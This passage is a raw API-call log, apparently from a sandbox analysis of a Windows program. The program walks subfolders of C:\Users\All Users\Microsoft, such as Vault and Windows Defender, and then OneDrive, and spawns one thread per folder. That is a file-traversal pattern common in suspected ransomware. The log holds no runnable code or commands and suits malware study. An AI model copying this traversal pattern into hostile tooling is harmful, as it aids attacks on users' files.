Users\\Microsoft\\" [0070.493] wcscat (in: _Dest=0x3430f98, _Source="SmsRouter" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter" [0070.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444 [0070.494] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spectrum", cAlternateFileName="")) returned 1 [0070.494] wcscmp (_String1="Spectrum", _String2=".") returned 1 [0070.494] wcscmp (_String1="Spectrum", _String2="..") returned 1 [0070.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430c80 [0070.494] wcscpy (in: _Dest=0x3430c80, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.494] wcscat (in: _Dest=0x3430c80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.494] wcscat (in: _Dest=0x3430c80, _Source="Spectrum" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Spectrum") returned="C:\\Users\\All Users\\Microsoft\\Spectrum" [0070.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428 [0070.495] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech_OneCore", cAlternateFileName="SPEECH~1")) returned 1 [0070.495] wcscmp (_String1="Speech_OneCore", _String2=".") returned 1 [0070.495] wcscmp (_String1="Speech_OneCore", _String2="..") returned 1 [0070.495] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x347fbe0 [0070.495] wcscpy (in: _Dest=0x347fbe0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.495] wcscat (in: _Dest=0x347fbe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.495] wcscat (in: _Dest=0x347fbe0, _Source="Speech_OneCore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Speech_OneCore") returned="C:\\Users\\All Users\\Microsoft\\Speech_OneCore" [0070.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347fbe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338 [0070.495] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage Health", cAlternateFileName="STORAG~1")) returned 1 [0070.495] wcscmp (_String1="Storage Health", _String2=".") returned 1 [0070.496] wcscmp (_String1="Storage Health", _String2="..") returned 1 [0070.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x347fa00 [0070.496] wcscpy (in: _Dest=0x347fa00, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.496] wcscat (in: _Dest=0x347fa00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.496] wcscat (in: _Dest=0x347fa00, _Source="Storage Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health") returned="C:\\Users\\All Users\\Microsoft\\Storage Health" [0070.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347fa00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc [0070.496] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1 [0070.496] wcscmp (_String1="UEV", _String2=".") returned 1 [0070.496] wcscmp (_String1="UEV", _String2="..") returned 1 [0070.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x341c110 [0070.497] wcscpy (in: _Dest=0x341c110, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.497] wcscat (in: _Dest=0x341c110, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.497] wcscat (in: _Dest=0x341c110, _Source="UEV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV") returned="C:\\Users\\All Users\\Microsoft\\UEV" [0070.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x341c110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec [0070.497] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0070.497] wcscmp (_String1="User Account Pictures", _String2=".") returned 1 [0070.497] wcscmp (_String1="User Account Pictures", _String2="..") returned 1 [0070.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347e420 [0070.497] wcscpy (in: _Dest=0x347e420, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.497] wcscat (in: _Dest=0x347e420, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.498] wcscat (in: _Dest=0x347e420, _Source="User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0070.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347e420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0 [0070.498] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0070.498] wcscmp (_String1="Vault", _String2=".") returned 1 [0070.498] wcscmp (_String1="Vault", _String2="..") returned 1 [0070.498] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x341c250 [0070.498] wcscpy (in: _Dest=0x341c250, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.498] wcscat (in: _Dest=0x341c250, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.498] wcscat (in: _Dest=0x341c250, _Source="Vault" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault" [0070.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x341c250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4 [0070.499] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDF", cAlternateFileName="")) returned 1 [0070.499] wcscmp (_String1="WDF", _String2=".") returned 1 [0070.499] wcscmp (_String1="WDF", _String2="..") returned 1 [0070.499] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x341c160 [0070.499] wcscpy (in: _Dest=0x341c160, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.499] wcscat (in: _Dest=0x341c160, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.499] wcscat (in: _Dest=0x341c160, _Source="WDF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WDF") returned="C:\\Users\\All Users\\Microsoft\\WDF" [0070.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x341c160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8 [0070.500] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0070.500] wcscmp (_String1="Windows", _String2=".") returned 1 [0070.500] wcscmp (_String1="Windows", _String2="..") returned 1 [0070.500] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0070.500] wcscmp (_String1="Windows Defender", _String2=".") returned 1 [0070.500] wcscmp (_String1="Windows Defender", _String2="..") returned 1 [0070.500] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426e60 [0070.500] wcscpy (in: _Dest=0x3426e60, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.500] wcscat (in: _Dest=0x3426e60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.500] wcscat (in: _Dest=0x3426e60, _Source="Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0070.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3426e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc [0070.501] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0070.501] wcscmp (_String1="Windows Defender Advanced Threat Protection", _String2=".") returned 1 [0070.501] wcscmp (_String1="Windows Defender Advanced Threat Protection", _String2="..") returned 1 [0070.501] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb630 [0070.501] wcscpy (in: _Dest=0x33eb630, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.501] wcscat (in: _Dest=0x33eb630, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.501] wcscat (in: _Dest=0x33eb630, _Source="Windows Defender Advanced Threat Protection" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" [0070.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33eb630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804 [0070.502] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0070.502] wcscmp (_String1="Windows Live", _String2=".") returned 1 [0070.502] wcscmp (_String1="Windows Live", _String2="..") returned 1 [0070.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x34803c0 [0070.502] wcscpy (in: _Dest=0x34803c0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.502] wcscat (in: _Dest=0x34803c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.502] wcscat (in: _Dest=0x34803c0, _Source="Windows Live" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live") returned="C:\\Users\\All Users\\Microsoft\\Windows Live" [0070.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34803c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808 [0070.503] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1 [0070.503] wcscmp (_String1="Windows NT", _String2=".") returned 1 [0070.503] wcscmp (_String1="Windows NT", _String2="..") returned 1 [0070.503] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430cd8 [0070.503] wcscpy (in: _Dest=0x3430cd8, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.503] wcscat (in: _Dest=0x3430cd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.503] wcscat (in: _Dest=0x3430cd8, _Source="Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0070.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c [0070.504] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security Health", cAlternateFileName="WINDOW~4")) returned 1 [0070.504] wcscmp (_String1="Windows Security Health", _String2=".") returned 1 [0070.504] wcscmp (_String1="Windows Security Health", _String2="..") returned 1 [0070.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479e20 [0070.504] wcscpy (in: _Dest=0x3479e20, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.504] wcscat (in: _Dest=0x3479e20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.504] wcscat (in: _Dest=0x3479e20, _Source="Windows Security Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health" [0070.504] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3479e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x810 [0070.505] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMSIPC", cAlternateFileName="")) returned 1 [0070.505] wcscmp (_String1="WinMSIPC", _String2=".") returned 1 [0070.505] wcscmp (_String1="WinMSIPC", _String2="..") returned 1 [0070.505] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430968 [0070.505] wcscpy (in: _Dest=0x3430968, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.505] wcscat (in: _Dest=0x3430968, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.505] wcscat (in: _Dest=0x3430968, _Source="WinMSIPC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC" [0070.505] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x814 [0070.506] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0070.506] wcscmp (_String1="WwanSvc", _String2=".") returned 1 [0070.506] wcscmp (_String1="WwanSvc", _String2="..") returned 1 [0070.506] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3430ff0 [0070.506] wcscpy (in: _Dest=0x3430ff0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.506] wcscat (in: _Dest=0x3430ff0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.506] wcscat (in: _Dest=0x3430ff0, _Source="WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0070.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x818 [0070.507] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0070.507] FindClose (in: hFindFile=0x3433b28 | out: hFindFile=0x3433b28) returned 1 [0070.507] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d3f8) returned 1 [0070.507] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcdb8) returned 1 [0070.507] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0070.507] RtlExitUserThread (Status=0x0) Thread: id = 138 os_tid = 0x10a0 [0062.904] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x33cd9d0 [0062.904] wcscpy (in: _Dest=0x33cd9d0, _Source="C:\\Users\\All Users\\Microsoft OneDrive" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive") returned="C:\\Users\\All Users\\Microsoft OneDrive" [0062.904] wcscat (in: _Dest=0x33cd9d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\") returned="C:\\Users\\All Users\\Microsoft OneDrive\\" [0062.904] wcscat (in: _Dest=0x33cd9d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\*") returned="C:\\Users\\All Users\\Microsoft OneDrive\\*" [0062.904] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342ccc0 [0062.904] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\*", lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34338a8 [0062.905] wcscmp (_String1=".", _String2=".") returned 0 [0062.905] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.905] wcscmp (_String1="..", _String2=".") returned 1 [0062.905] wcscmp (_String1="..", _String2="..") returned 0 [0062.905] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0062.906] wcscmp (_String1="setup", _String2=".") returned 1 [0062.906] wcscmp (_String1="setup", _String2="..") returned 1 [0062.906] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481e58 [0062.906] wcscpy (in: _Dest=0x3481e58, _Source="C:\\Users\\All Users\\Microsoft OneDrive" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive") returned="C:\\Users\\All Users\\Microsoft OneDrive" [0062.906] wcscat (in: _Dest=0x3481e58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\") returned="C:\\Users\\All Users\\Microsoft OneDrive\\" [0062.906] wcscat (in: _Dest=0x3481e58, _Source="setup" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup" [0072.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3481e58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4 